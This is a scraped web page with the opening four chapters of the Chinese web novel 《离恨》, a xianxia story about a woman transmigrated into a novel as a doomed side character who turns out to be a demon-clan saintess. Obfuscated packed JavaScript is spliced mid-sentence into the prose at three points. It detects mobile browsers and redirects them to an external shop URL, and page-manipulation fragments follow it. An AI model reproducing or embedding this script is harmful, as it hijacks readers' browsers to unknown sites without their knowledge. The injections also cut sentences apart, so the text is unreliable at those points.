《离恨》 1. 第 1 章 黑夜如帷,血光冲天。 血色的浓雾笼罩着整片山脉,荒草丛中依稀可见一位少女,头上淌着血,身上大大小小的伤口裸露在外面。 人已经没了呼吸。 盘旋在上空的血鸦发出刺耳的叫声,似乎在观望该何时飞下去将少女的尸体分食殆尽。 就在这时,地上早已死去的少女动了。 “嘶—” 那少女挣扎着爬了起来,想大声呼救,却又马上捂住了自己的嘴。 漆黑的丛林里冒着星星点点的绿光,头顶的乌鸦盘旋着久久不肯散去 这是什么地方?她刚才不是死了吗? 她低头看着自己与原先截然不同的装扮,身上莫名多出来的伤口隐隐泛着刺痛,时刻提醒着她这是穿越了。 她模模糊糊记得自己开着刚提的车哼着小曲回家途中,被一辆大卡车连人带车撞的粉身碎骨,再一睁眼已经到了此处。 脑海中莫名多出的几帧记忆片段,让她大致了解了自己当下的处境。 “程知鱼……” 还真是巧得很,穿越后居然穿到了跟自己同名的人身上。 但令程知鱼不解的事,为何这具身体原来的主人会出现在这,而恰巧她并没有在这之前有关原主的任何信息。 是巧合吗? 她擦去额头上的血挣扎着爬了起来,努力消化着当前的处境,一阵闷雷在她耳边炸响,随之而来的闪电像利剑般劈开黑夜。 借着这道闪电程知鱼看清了,原本若隐若现的绿光正在摇摇晃晃地靠近,伴随着浓烈的腥臭味扑面而来。 她暗道不好,转身就朝着绿光的反方向逃跑。 一股钻心的疼痛从心口蔓延到四肢百骸,喉头一阵腥甜,嘴角缓缓溢出一丝猩红。她眼前昏黑一片,脚下也开始变得飘忽不定。 可此时此刻容不得她在此多做停留,程知鱼捂着胸口踉踉跄跄地朝前跑去。这片林子像没有尽头似的,无尽的黑暗吞噬着眼前的一切。 碎石散落在林子里,脚一滑,本就不稳的身子如同断线的风筝摔了出去,锋利的石块擦过她的掌心,血肉模糊。 她定定地看着眼前慢慢逼近的庞然大物,紧紧握住拳头,指甲深深地嵌入掌心,疼痛使她始终保持着清醒。 她绝不能死在这! 程知鱼小心地在身上摸索着,寻找是否有能暂时帮她逃命的工具,每一个动作都伴着刺骨的疼痛。 那些魔兽鼻子翕动,仿佛看见了什么佳肴一般,突然更加疯狂地逼近,黏腻的唾液顺着尖锐的獠牙滴落在地上。强忍着恶心和钻心的疼痛,程知鱼一点点小心地挪动自己的身体,在一番摸索之后竟真的在袖中找到了一只通体乌黑的带柄小刀。 那小刀散发着诡异的邪气,在掌心隐隐发烫,灼烧着她的伤口,可此刻她就算是死也不能死在这些畜生手里。 她紧紧抓着刀柄,锋利的刀刃偷偷露出衣袖。 “轰——” 那魔兽好像玩腻了猫捉老鼠的把戏,猛地一甩尾巴,直接将一棵树打成了碎末,一声低吼后朝她冲了过来。 魔兽长满倒刺的尖爪如同钢刃,一旦被抓到肯定难逃一死。 程知鱼此时反而镇定下来,她朝着最近的一棵树跑去,顾不得此刻鲜血淋漓地掌心,手脚并用地爬了上去。 她深深吸了一口气,咽下喉间的腥甜,瞅准时机,高高举起手中的小刀,跳到了魔兽身上狠狠刺了下去。 “畜生,想要我的命,你再回去练个一百年吧!” 程知鱼使出了全部的力气,把小刀狠狠刺入魔兽的双眼。 “吼——” 那魔兽的鲜血如瀑布般喷溅在她的身上,用力地摆动着身体把程知鱼从身上甩飞出去。 程知鱼猛地被甩到一旁的树上,重重地落下,鲜血从她的口鼻子中喷出。 她死死盯着面前的魔兽,那畜生不停地吼叫,刺耳的叫声震的她脑袋嗡嗡地疼。 渐渐的,那畜生的声音小了,在最后一声不甘的吼叫中倒了下去,终于是没了呼吸。 她抬手擦了擦脸上腥臭的魔兽血,有些血迹顺着眉尾滴进了她的眼眶,一双眼睛疼得充血肿胀。 程知鱼死死攥着手里的小刀观察了一会,确定这畜生确实死了,才终是松了一口气。 此时她只觉浑身无力,呼吸时都带着剧烈的疼痛,嗓子好像破了一个大口子似的。 她斜躺在地上,身上不由的颤抖着,疲倦侵袭着她的大脑。 她刚闭上眼,耳边突然传来熟悉的吼叫声,带着浓重的血腥味朝着她逼近。 程知鱼此时动弹不得,更别提站起身来逃命,刚才杀死那只魔兽已经耗费了她全身的力气。 难道她今天就是难逃一死吗? 她紧咬着牙关,她不甘心。 凭什么! “铮——” 一声巨响在她耳边炸开,她猛地睁开双眼,一道刺目的白光从她眼前掠过刺入扑向她的魔兽。 只见那魔兽还未来得及挣扎便碎成齑粉,那道剑气如虹,紧接着数百道剑光如同寒星倾洒而下,几息之间,魔兽遍被绞杀殆尽。 程稚鱼呆愣着看着眼前之景,过了一会才反应过来转头看去,寻找那剑气的来处。 只见不远处一名少年负手而立,身姿挺拔如松,乌黑的长发被一根暗红色丝绸高高束起。眉间一点红痣,平白减淡了一些他身上的肃杀之气,像一个未脱稚气的“小菩萨”。 如果忽略他身旁那柄闪着寒光的长剑,倒真以为是哪家俊俏小公子偷跑出来游玩。 “你一直看着我做什么。”那少年剑眉微微皱起,双眸带着点淡淡的不满,鲜红薄唇微抿,整个人都散发出无尽傲气。 程知鱼不知作何解释,张口却什么都说不出。 她迟疑地抬起头,却刚好与他的视线对上了。 空气安静了一瞬,程知鱼忍不住捻了捻手指,想说些什么打破这个尴尬的局面。 不等她主动开口,脖子上突然横上一把冰冷的长剑 “你是什么人,怎么会出现在此等诡谲之地。” 少年微微眯起眼,语气中隐隐带着些怀疑,手中的长剑像是感应到主人的心思,剑身上的霜花散发着凛冽的寒气。一根红绳紧紧缠绕在莹润白透的手腕上,仿佛要与血肉融为一体。 话音未落,一阵窸窸窣窣的声响从四面八方传来。 程知鱼就算修为尚浅这时也能感知到魔物逼近的气息。 胸腔仿佛被一只无形的手紧紧握住,方才差点被魔兽杀死的窒息感如蟒蛇再次缠绕上她的心头。 少年也敛了神色,手握紧了那柄长剑,凝神感知着周围的环境。 “吼——” 数十头身长近丈的白虎从林中窜出,朝着二人嘶吼,像是随时要扑上来将二人生吞活剥了。猩红的眸子闪烁着嗜血的光芒,死死盯着面前的两人。 程知鱼慢慢地挪向那少年身边,轻轻扯了扯他的衣袖。 “仙长,你可以解决这些恶心的东西吧……” 说罢又往他身后藏了藏,余光不停地瞟着周围,寻找逃走的机会。 少年抬眸撇了一眼程稚鱼,嗤笑一声,嫌弃地抽出自己的袖子。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17093244|195530||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 程知鱼忽感眼前一暗,扯了好几下才把“小菩萨”扔在她脸上的衣袍扯下。 “披上,这衣袍上有防御咒,你…等会我还有话问你。” 她紧抓月白锦袍,却又实在按捺不住心中想观战的激动,于是偷偷探出脑袋,视线紧随着“小菩萨”的身影。 远处,剑锋过处,三丈霜寒凝作实质,所到之处魔兽哀嚎之声不绝于耳,可耐不住这些魔兽仿佛复制粘贴一般源源不断出现。这些魔兽不怕痛也不怕死,那少年虽实力超群但面对如此庞大的数量还是渐渐体力不支落了下风。 “小心!”程知鱼尖叫出声。一群魔兽趁其不备从他身后扑上去撕咬,血盆大口似要从他身上撕咬下一块肉来。 少年猛地转身,腾空而起,挽了个漂亮的剑花,直刺向那群魔兽。 “怜生!” 他轻喝一声,手中长剑剑光大盛,数道剑芒破开虚空,直斩魔兽而去。 “漂亮!好剑法!”程知鱼忍不住鼓掌喝彩。 少年闻声朝着程稚鱼的方向扫了眼,依旧端的一副傲视天下的模样,皱了皱眉,凉凉地看了她一眼。 程知鱼不说话了,把脑袋默默地收了回去…… “师兄,你坚持住!我们来助你!” 几道喊声从远处传来,惊飞了在丛林上空久久盘旋着的乌鸦。十几名少年踏着灵剑飞驰而来,稳稳地落在“小菩萨”身旁。少年们统一穿着一袭月白长袍,看上去倒是也颇有一番仙风道骨的风范。 “傅师兄,魔兽呢……”为首的少年热切地向“小菩萨”询问,少年们手握灵剑,全是一副跃跃欲试的模样。 “傅师兄”深吸一口气,缓缓收剑,抬起一只手重重拍在为首少年的额头。 “你们再来的迟一些,这些魔兽的血都要干了。” “傅师兄!”少年揉了揉发麻的额头,撇了撇嘴。“我们哪能追得上你啊。” “傅师兄”没理他,朝着程稚鱼躲藏的地方走来,少年们心下奇怪,也朝着那边看去。 “还不出来?是想在这里待一辈子吗?” 程知鱼在脸上堆满假笑,忍着疼痛一瘸一拐地挪了出来,看向“傅师兄”。 “哪的话,我这不是怕外面魔兽还有余孽,出去给你们添麻烦。” “哼。”扭头走了出去。“快出来,这里脏死了”他拍了拍身上一尘不染的衣袍。 程知鱼跟着他走了出去,一排排穿得跟电灯泡似的少年齐刷刷地看了过来。 “你们好啊……哈哈” 她挠了挠头,原本就松散的头发变得更加凌乱。 此时她蓦地想起来一件事:到现在为止压根不知道自己处于何处,除了自己的名字之外一无所知。 穿越穿成她这幅模样也是极少有的了。 她小心翼翼地开口:“多谢各位仙长救我一命。”随后慢吞吞地朝“傅师兄”开口:“可否知道这位小仙长的名讳,他日有机会必定报答。” “傅师兄”还未来得及开口,一旁的少年却满脸惊讶地看着她。 “你竟然不认识我们傅逾白师兄?你是从哪个犄角旮旯的地方跑出来的。” “傅逾白?”程稚鱼默默地念了几遍这个名字,总觉得无比熟悉,像是在哪听过。 但来不及细想,一阵刺骨的疼痛再次从心口蔓延开,一时间小脸煞白到不见一丝血色。 程稚鱼直挺挺地倒了下去,众人措手不及。傅逾白的眸光微不可察地动了动,伸手接住了她。 倒下的最后一刻,一道记忆像利剑刺入程知鱼的脑海。 原来是这样…… 2. 第 2 章 “不要!” 程知鱼猛地一下睁开了眼睛,眸底是还未散去的惊恐,细密的汗水浸湿了她身上的衣裳。她渐渐缓过神来,长舒一口气,一只手撑着床沿慢慢坐了起来。 还好是梦,程知鱼在心里默默安慰自己。 她试图仔细回忆那个奇怪的梦境,可那男子的面容在脑海中像是蒙上了一层薄薄的云雾,看不清也摸不着,只徒留他剖心之时痛苦的神情,和眼前抹不去的血色。 她越是想回忆越头疼,眉头皱成一团,指节无意识地收紧,最后见实在想不起来便干脆不再去想那人。 “嗯?这是哪?” 程知鱼迷迷糊糊抓了抓头发,刚才光想着梦境,竟一时没注意到自己身处之地。 空旷的屋内,清风从窗棂的间隙吹入屋子,倒是让她彻底清醒了过来。她抬起手却看到了身上的伤口被妥帖包扎好,还带着隐隐的刺痛。 她掀开被褥想下床去讨口水喝,此时的喉咙干涩像是被烈日灼烧的沙漠一般。但脚还未落地便整个人狠狠摔了下去,脑袋重重地磕在地上,发出一阵闷响。 “嘶——” 程知鱼痛呼出声,被包扎好的伤口顿时渗出血来,很快便把手上的纱布染成了红色。 不知何时门被推开,一个小女孩端着药碗急匆匆地跑了进来,把药碗往桌子上一放,马上小心翼翼地把程稚鱼从地上扶回了床上。 “姑娘,您受这么重的伤,怎么能随意下床呢!”小女孩脸上露出严肃的神情,一边说着一边重新包扎着程稚鱼的伤处。 程知鱼自知理亏,缩了缩脖子。过了一会还是开口问道:“请问这是哪啊?” 小女孩手脚麻利地包扎着伤口,应道:“您叫我绿凝就可。这里是医馆,是一位仙长送您来的,他走的时候急匆匆的但还是嘱咐我们要好好照顾你。” 仙长?程知鱼脑袋卡了一下,突然反应过来,抓住绿凝的手问道:“可是眉心处有一颗红痣的少年?” 绿凝似是被程知鱼的反应吓了一跳,不多时点了点头,“正是那位仙长。” 程知鱼心下了然。她眉头微蹙,陷入了深深的思考之中。 “傅逾白,程知鱼。”她默念了几遍这两个名字,刹那间,脑海中的迷雾如同被风吹散,一切都清晰了起来。 如果她所料不错,她应该是穿进了一本名叫《择天》的男频小说之中。傅逾白,程知鱼这两人应该就出自这本小说之中。她之所以对这本她高中就看完的小说还有印象,一个重要原因就是小说里这个跟她同名同姓的女配是个不折不扣的倒霉炮灰。 这本书作者不详,设定在一个人妖魔三足鼎立的世界里。 男主陆云峥,一个很经典的男频男主,秉持着我命由我不由天的信念,从一无所有到走上人生巅峰,金手指不停拿到厌倦。 而书中的炮灰程知鱼,就是助力男主走上事业巅峰的一块垫脚石。 原书中对她的描述也并不多,只简单提到她是在受重伤时被陆云峥所救,从此跟着魔了似的对他情根深种。 由于生来就缺少一魂一魄导致身体素质极差,吐血晕倒简直是家常便饭。曾有医者更是直接断言她绝活不过20岁。在这种情况下,她却依然对陆云峥不离不弃,生死相随。 果不其然,原书中的程知鱼在超级恋爱脑的加持下,在男主生命垂危之时以命换命,还不到20岁就饮恨西北了。 男主倒是因为她的死而深受刺激,从此在修炼的路上一路狂奔,最终凭借自己的努力在这个修真界有了自己的一席之地。 思及此,程知鱼赶忙搜刮脑海中对这本剩有的记忆。既然让她重来一次,她坚决不要再重蹈原主的覆辙。不就是先天有缺陷吗,她就不信了,在这偌大的修真界还找不出能治愈她的法子。 她轻咬下唇,脑中构思着接下来该如何在20岁前逆天改命,指尖无意识地敲打着被褥,想着想着思绪却突然急转弯,浮现出傅逾白的模样。 根据书中所述,傅逾白乃当世年轻一代中的天骄,天生剑骨,天纵奇才,年少成名,曾被预言只有他才能带领修真界打败魔族消灭魔神。可不知是否因为作者格外偏爱陆云峥的缘故,书中对这位天之骄子竟也着墨极少,以至于到书中结局也再未提及傅逾白。 “啧”她越想越烦躁,忽的生出几分怒意。 绿凝把药碗递了上来严肃地说道:“姑娘,您刚醒身体正是虚弱的时候,把药喝完早些休息吧。” 程知鱼磨磨蹭蹭地接过了药碗,草药的味道直冲着她的鼻腔而来,她的嘴角难以抑制地抽搐了起来,随后紧皱着眉端起碗一口气全部喝了下去。 绿凝把东西收拾好后就退出了房间,让程稚鱼好好休息。不知是药效起了作用还是躺在床上太过舒服的缘故,倒也慢慢睡了过去。房间渐渐安静了下来,只剩外面的蝉鸣与程稚鱼平稳的呼吸声。 一片静谧之际,窗外的树木影影绰绰,突然一片乌云般的黑气慢慢出现在树上,隐入阴翳之中,血鸦扯着嗓子叫了几声,没入黑气之中…… “哼,躲在这里倒是清闲。” 那浓重的黑气渐渐散开,只见一身着玄色长衫的男子懒倦地倚靠在树干之上,狭长的风眼微微挑起,眸子里是藏不住的嘲弄。绸缎般的黑发垂落在身后随风微动,有几缕发丝拂过如雪的面颊。 他手执一柄玉骨折扇,一下下轻点在自己的鼻尖,挑起眉直直地盯着屋内呼呼大睡的少女,像是想到什么好玩的事。好一会,突然轻笑一声,折扇随意一挥,窗子一下便被关上。 “算了,让你多休息几天也无妨。”那男子嘴角勾出一抹淡淡的邪笑,漆黑的眼眸深不见底,氤氲着凉薄寒意。 只听啪嗒一声,那男子收拢了扇子,眨眼间,便消失不见了,只有几只血鸦还蹲在树上,眼睛直勾勾地盯着那扇紧闭的窗户。 * 翌日清晨,程知鱼翻了个身,缓了好一会才彻底清醒。坐起身,头发凌乱地贴在脸上,她随意地拨开,不由得慰叹:自从穿进书中好久没有睡过这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17093245|195530||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 么舒服的觉了。 她觉得自己今天精神好了不少,大概是那碗药的功劳,身上的伤口居然也没那么疼了。虽然还是动不了,脑袋却闲不下来,四处看了看,突然被那紧闭的窗子吸引了注意力。 奇怪,她记得昨天晚上并没有关窗啊。 “扣扣——” 屋外传来了一阵有节奏的敲门声。“姑娘,您起了吗?该喝药了。” 程知鱼妄图通过装睡逃过这一劫,不想房间的门已经被推开,绿凝端着药碗走了进来。 眼见逃不过去,程知鱼只好认命地爬起来,接过绿凝递过来的药,一口气全部喝了下去,撒气一般把药碗重重放在桌上。 绿凝收了收碗准备出去,想让她好好养伤,却突然被叫住。 “等等……”程知鱼小声地开口叫住了绿凝,睫毛微颤,嗓音还带着刚刚喝完药的沙哑。 “怎么了姑娘,您还有什么事吩咐吗?” “也不是什么很重要的……嗯……就是你能不能给我详细说说关于这个世界的事啊?”程知鱼双手不自觉地揉搓,结结巴巴地说了出来。 “您这是?”绿凝略带不解地询问,似是不明白她为何会问出这种问题。 “我这次受伤醒过来之后,好像忘记了很多关于这个世界的事。”程知鱼想了半天只能挤出这种理由来搪塞绿凝。 话音刚落,绿凝手腕一翻,掌心微扬,一叠书籍便凭空出现在她的手上。 “嘭——”她把这一叠书往桌上一放,拍了拍手。“这些书姑娘您慢慢看,正好您现在也出不去。”说罢便一溜烟地跑走了。 程知鱼看着面前的一叠书,感觉脑袋好像又开始隐隐作痛。她随意拿过一本,想着通过这些大概了解一下这个修真界。 《辟谷的正确姿势》?《修真界必须要知道的一百件小事》? 她想闲着也是闲着,便把绿凝拿来的书认认真真地翻了一遍,竟真让她了解到了一些有用的东西。 这个世界最初本还有神族存在,十万年前神魔大战之后,神域最后一位天神陨落,至此神族彻底消失在岁月长河之中。在此之后便以人妖当道,残存的魔族则被驱逐到幽冥深渊,无人敢靠近。 直至今日,凡界修真者以六大宗门为首,其下还有许多大大小小的宗门共同维护着凡界的安危。其中青云宗便是六大宗门之首,也正是傅逾白所在的宗门。 “傅逾白……”程知鱼在口中默念了几遍他的名字,心中越发的气恼。 真是人比人气死人。 她随手把书盖在脸上,止不住地叹气。 穿来这个世界别说体验修真界的仙法,就这弱不禁风的身体,根本活不到20岁吧…… 仙法? 对了!程知鱼脑海中突然灵光乍现。这个世界既然有仙法,那就一定有办法能补全她生来缺失的一魂一魄。 思及此,她心头的大石算是放下了一半。 算了,明日的事明日再说吧,现在好好睡觉才是正事…… 3. 第 3 章 经过连续几日地调养,程知鱼的身体有了明显的好转,身上的伤也在肉眼可见的康复。 她微微活动了一下自己的手脚,发现并不如前几日那样疼痛难忍,一阵难以抑制的兴奋涌上心头。 马上把手中的书扔到一旁,想尝试自己走两步,她小心地扶着床起身,生怕再次摔得不省人事。 都说伤筋动骨一百天,可程知鱼觉得经过这么长时间的调养,她已经基本能平稳地走路,虽然伤口还有些微微泛着疼,但并不影响她急切想要出去透气的心情。 她推开门,顺着楼梯一步步走下楼去。 “哎呀!姑娘您怎么下来了!”绿凝抬头一看对上程知鱼的眼神,大惊失色地呼喊了起来。 绿凝三步并作一步冲过来扶住程知鱼,生怕她突然倒下去,俨然把她当成了瓷娃娃。 “绿凝,你看。我现在已经恢复得很好了,已经可以自如地行走了。” “恢复好了?”绿凝半信半疑地看着她,一缕青色流光从她指尖探出,轻点在程知鱼的眉心,缓缓流入她的经脉。 “奇怪?”绿凝脸上流露出古怪的神情。“你的体内有另一个人留下的灵力,想必是因为这一丝的灵力,你的伤才能好的这么快。” 另一个人? 程知鱼突然想到那日在丛林之中,她重伤晕过去之时,好像看见傅逾白掌心一丝银白色的灵力流入她的身体。 原来真是他…… 她心尖微微颤动,随即压下心头的一点异样,想马上到外面去走走,好好逛逛修真界。 “好吧好吧……” “但是,你现在身上的外伤虽然看起来恢复的是不错,但内伤还未痊愈,不可以去太远的地方”。绿凝板着一张脸叮嘱着她,活像担心孩子出远门的父母。 絮絮叨叨地说了一大堆之后,绿凝像是突然想起来什么,单手掐诀,金光闪耀之际,一道符纸落在程知鱼的手中。 “这是传送符,你要是感觉不舒服,就心中默念想去的地方,这道符纸就会带着你回来。” 程知鱼好奇地捏了捏符纸,便把它挂在腰间,冲绿凝笑道:“放心吧,我不会有事的。” 说走就走,一溜烟的功夫,已经离开的医馆在街上玩得乐不思蜀了。 真不愧是书中的世界啊。 人潮如织,她有时还会被别人不小心挤到一边,但也并不妨碍她此刻高涨的兴致。 拥挤的街道两旁摆满了各种各样的摊位,叫卖声此起彼伏。琳琅满目的商品与程知鱼原本的世界大为不同:精致小巧的法器饰品、色香味俱全的美食,每一样都死死吸引了她的目光。 “瞧一瞧看一看了,上品避水珠,骨折价20颗灵石,买不了吃亏买不了上当……” 远处商铺传来店主的吆喝声,身旁穿着绫罗绸缎修士模样的人一股脑地挤了过去,都为了争抢这一颗难得的法器。 程知鱼摸了摸下巴,故作高深地往反方向走,引得别人频频侧目。 是她不想去凑热闹吗? 不。 是她没钱…… 没有系统就算了,灵石也不给……程知鱼觉得不会有比她更倒霉的穿越者了。 想着自从来到这个世界就没遇到一件顺心的事,她几乎是忍不住哽咽,鼻尖一酸,登时红了眼眶。她用力地眨了眨眼睛,把喉间的酸涩咽了下去。 这样闹过一通,也少了继续逛下去的兴致,程知鱼手朝腰间探去,想从腰间扯下绿凝给她的传送符回医馆。 …… 她的传送符呢! 程知鱼忙低下头看去,手在腰间不停地摸索依然一无所获。 完了。 不仅如此,从刚才开始,程知鱼就隐隐觉得哪里不对劲。 她猛地抬头往四周看去——刚才还被挤得水泄不通的街道此时空无一人,商贩此起彼伏的叫声被几声嘶哑的鸟叫声取代。 下一秒,血鸦的喊叫声戛然而止,一双双冒着红光的瞳孔死死盯着她。 程知鱼紧紧攥着拳头,心跳却一声比一声剧烈,她努力装作无事发生的模样僵硬地继续走,身后的冷汗却早已把衣服浸湿了。 “呵——” 一声轻笑突然在她身后响起,在诡异的街道不停地回荡,像一把重锤一下、一下……敲击着她的心脏,那声音在凛冽的寒风里逐渐变得扭曲而凄厉。 程知鱼仿佛被一双无形的手掐住了脖子,她张了张嘴却发不出任何声音。 沉重的脚步声一点点逼近她,一步、两步…… 不是吧…… 程知鱼心里有苦说不出,面如死灰,一双手藏在衣袖中止不住地颤抖。 这原主是有什么必须完成的倒霉kpi吗。 她的腿有些发软,却始终强迫自己站着不要倒下去 原因无他——姐们要脸! 一道清脆的响指声在突然在她耳边炸开。 程知鱼双眼一闭,说晕就晕了。 “我没施法啊?” 一句嘟囔在程知鱼彻底晕过去后慢悠悠消散在街道尽头。 * 程知鱼是被冻醒的。 冷风呼呼地从大大敞开的窗子往里灌,她不由得打了个寒颤。 她下意识想过去把窗子关上。 …… 奇怪,怎么动不了? 她低头一看。 哦,原来是被五花大绑在椅子上了…… 她不仅被绑在了一个梳妆台前的椅子上,胸前的绳子还很善良的打了一个蝴蝶结。 梳妆台前的镜子映照着程知鱼白皙脸庞,圆圆的鹅蛋脸上一双小鹿眼正一动不动地盯着面前的镜子,眼下的泪痣更是添了几分娇俏。如果忽略此时头顶的鸡窝,放在现世也是一个十足的萌妹了。 但出乎意料的不是原主长得不错,而是这张脸跟程知鱼原本的脸可以说是几乎一模一样! 难道穿书还能用自己本来的相貌吗? 她眨了眨眼,仔细端详着镜子里的自己。穿书以来一直没有认真看过这张脸,此时一瞧,倒是在她心里炸出了不小的涟漪。 “欣赏够了没?” 一道低哑的声音从她耳边传来,带着一点吊儿郎当的散漫,像是在跟人聊天一般。 “还没……” 话音刚落,程知鱼才猛地反应过来她在跟谁说话。 这是绑匪啊!! 她巡着声音转头,才突然发现旁边的床上还侧躺着一个俊美男子。他一只手臂微屈撑着脑袋,另一只手中拿着一把玉骨折扇轻轻摇晃着。 他抬起眼皮,漫不经心地瞥了程知鱼一眼。 “那你继续。”那男子随口说道,眼皮又闭上了,像是几百年没睡过觉似的,浑身散发着一种不属于他年龄的疲惫之感。 人在屋檐下,不得不低头…… 程知鱼一边给自己洗脑,一边往脸上堆起谄媚的笑容,从眼中硬生生挤出几滴泪水,声泪俱下道:“大哥,我一没有钱财二没有修为的,您绑架我干什么。” 说着说着自己入戏颇深似的掉了几滴泪,看起来的确楚楚可怜。 “你长得不错,我劫色。” 那床榻上的男子眼睛都没睁,一副要睡到地老天荒的架势。 那你倒是睁眼说话啊…… 程知鱼小心翼翼地挪动着自己的手腕,试图利用椅子割断绳索,割了半天她手都磨破了,那绳子依旧崭新如初。 “别白 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17093246|195530||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 费力气了,那是捆仙绳,你割不断的。” 不知何时那男子竟然睁开了眼睛,好整以暇地看着程知鱼刚才的表演。 士可杀不可辱! 程知鱼彻底选择摆烂了,她无所畏惧地冲着那男子喊道:“你到底想干什么,杀了我对你有什么好处。” 那男子打了个呵欠,擦了擦自己因为疲惫而布满眼眶的生理泪水,撑着手臂坐了起来。 “我哪敢杀我们魔族的圣女大人呢。”那男子百无聊赖地把玩着自己扇子,随口答道。 哦,原来她是魔族圣女啊…… 蓦地,程知鱼突然睁大了双眼。 嗯? 她是魔族圣女?! “怎么?难道忘记自己的身份了吗?” 玄衣男子挑了挑眉,戏谑地看着程知鱼呆楞的模样。 什么魔族圣女?书里没写啊! 程知鱼眼睛骤然睁大,指尖不自觉地抓住了捆仙绳,倒吸了一口凉气。她疯狂在脑中回忆书中的描写,在狠狠搜刮好几遍之后,嘴角已经控制不住地抽动起来。 “这作者就是没写!” 她闭上了眼睛,似是不愿面对这该死的场面。手心传来一片粘湿之感,她深深吸了一口气,头脑中不停地思索着应对之策,丝毫没有意识到自己的下唇已经被她咬破,隐隐流出了几丝暗红。 殊不知,她这一系列的反常被那玄衣男子尽收眼底。他微微眯了眯双眼,眼里的疲惫早已荡然无存,眸色变得幽暗危险。 “不会吧……” 那男子嘟囔道,像是想到什么不可思议的事情,眼睛却一动不动地盯着程知鱼的方向。 下一秒,他从床上站了起来,拍了拍自己的外袍,瞬移到了程知鱼眼前。 “我靠!” 程知鱼见男子突然出现在眼前,还未反应过来便猛地一抬头,身子大幅度地往后仰。 “救命!”她顾不得眼前之人是不是绑匪了,下意识用脚勾住了他,堪堪稳住了自己身形。 玄衣男子扯了扯嘴角,手执玉骨折扇随意挥了一下,程知鱼便稳稳当当地坐了回去。 她还未来得及松口气,下巴便被折扇轻轻挑起,与折扇主人四目相对。那扇子在程知鱼下巴微微摩挲了一下,随即便收了回去。 不管了,失忆是块砖,哪里需要哪里搬。 程知鱼轻咬下唇,低下头,像是有什么难言之隐无法言说,片刻后还是抬起头来,眼角染上了些许绯红,低声说道:“我前些日子受了重伤,伤到脑子了,许多事已经记不得了。” 说着说着,她指尖深深掐进掌心,逼出了几滴泪要落不落地挂在眼眶上。 那男子静静地站在她面前,眉头轻挑,目光却森冷异常,像一柄利剑直直刺入她的心头。 就这样盯着程知鱼看了不知多久,男子突然直起身子,又变成那副懒洋洋的模样,依靠着梳妆台,打了个哈欠。 “难怪看上去一副呆傻的模样,如果是失忆了倒也正常。” 那男子煞有介事地点了点头,又突然凑上前来,笑眯眯地问道:“那你还记得我是谁吗?” “不记得不记得!”程知鱼脑袋摇的跟拨浪鼓似的,生怕晚说一秒就被他看出这幅皮囊下面早已换了一个壳子。 “好吧好吧。”那男子直起身子,慢悠悠地走到床边直直地躺了下去,扯过被子把自己盖得严严实实的。随后探出一只手,袖摆轻挥,程知鱼身上的捆仙绳也随之落地。 “你自己看,有什么不懂的再问我,我先睡了……” 那男子的声音闷闷地从被子里传出,越来越小,最后彻底没了动静。 好气…… 绑匪自己能不能认真一点? 4. 第 4 章 程知鱼听着一旁均匀的呼吸声彻底没招了,认命地抬起头看着眼前出现的光幕。 光幕之中原主的身影出现在一个阴森诡谲之地,小小的孩子孤零零地坐在台阶上,身旁没有朋友,只有数不清的魔族中人每日在她的周围念叨着:你生来就肩负着解开魔神封印的重任,你作为圣女的宿命就是要为魔族奉献一切…… 突然那光幕剧烈抖动起来,发出刺眼的白光,她下意识抬起手挡了挡。白光渐渐散去,光幕中却出现了一个男孩的身影。 一身破旧的衣裳,上面还粘着暗红的血迹,泥沙混着血盖在脸上,却依稀能窥见那小男孩姣好的面容。 好眼熟。 程知鱼在心底嘀咕着,眼神却落在了旁边的床上。 人呢?! 她一回头,却发现刚才还在床上呼呼大睡的人不知什么时候已经站在她的身后不知看了多久。 那男子眼底快速地闪过了一丝她看不懂的情绪,眼神沉沉地落在了她的身上,压得她有些喘不过气。 “继续。” 那男子冲程知鱼点了点头,示意她继续看下去。 此时光幕中的男孩不知发生了何事,被原主紧紧护在怀里,身旁的魔族小孩幸灾乐祸地看着他们,朝他们身上丢石子,还拍手喊着:“两个小废物,都是没爹没娘的野种!” 骂程知鱼废物她倒是能理解,原主生来身体虚弱,导致修为低下。 没爹娘…… 程知鱼用余光偷偷瞄了一眼身后的人。 她的眼神被身后的人捕捉到了,他眉眼间的戾气一闪而过,随即嘴角漾起弧度,挥散了光幕,走到床旁边的椅子上坐了下来。 程知鱼也走了过去,在他面前停下来,沉默地等着面前的人开口。 “我叫顾梧渊,就是刚才你看见的那个男孩。” 他叹了口气,拿起折扇拍了拍程知鱼的额头,笑道:“怎么这么一副表情?” 过了一会,他站起身来,掌心灵力闪烁,直冲着程知鱼而来。 程知鱼猛地往后退,一时不察重重地摔在地上。 顾梧渊:“……” 